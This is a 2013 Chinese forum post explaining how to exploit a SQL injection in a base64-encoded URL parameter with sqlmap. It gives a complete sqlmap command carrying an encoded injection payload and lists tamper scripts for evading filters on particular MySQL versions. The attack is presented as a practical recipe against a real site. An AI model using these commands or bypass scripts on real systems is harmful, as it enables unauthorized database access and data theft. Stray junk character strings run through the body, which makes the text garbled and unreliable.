找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2466|回复: 0
打印 上一主题 下一主题

SQlMap Tamper注入Base64编码注入点

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 15:50:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?! c* q: k) u7 u! F6 K2 _7 ~
0 V- Y# k% o& e& Z7 }- y# O; K
sqlmap的tamper里有个base64encode.py
0 _5 }  j3 S: R' Z! m0 \4 m/ J  B) c3 z, ?( N, _
使用如下2 B9 g7 J( d2 r- j

0 m* N. A" x: y! ?sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs  y5 j  ^, v6 P

, d& o* f& a% `  _/ m4 J! i
2 K0 m( L$ m# x# n+ i1 c, _! A* Qsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”) h# {. y% a7 m2 x  L4 L9 H: x
5 B/ |' N0 A% |4 J9 y7 B& H
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
% a3 Z' g1 S, N- H
  R3 O% K# r- E& ?7 L% R; g6 w6 Gspace2hash.py ,对于MYSQL数据库 4.0, 5.0注入1 E$ M. U- v7 H' B. p) m
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
0 {5 w, G# q3 R" B( A首先确定目标数据库版本,然后选择相应的脚本。5 s, V2 n6 l, S6 h
-v 3 --batch --tamper "space2hash.py"
$ w. J6 h. l# ~
% f+ h$ Q- l. \" x/ u还有其他一些插件:
2 o- N8 _& h: E5 n( m1 Cencodes编码 ——charencode.py
6 ^1 C; S" q( y7 a! Q$ G/ Jbase64编码 —— base64encode.py9 j5 w+ F, h4 A& a
替换空格和关键字 —— halfversionedmorekeywords.py% n+ S) P0 P% c1 z- r; J
$ ~- S9 N" R" f1 w  {
3 d1 a  \3 [, w9 W% g0 Z4 j5 T

7 `! h8 |! ^( o8 k+ y
& L7 b- w; ^$ P5 O( N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表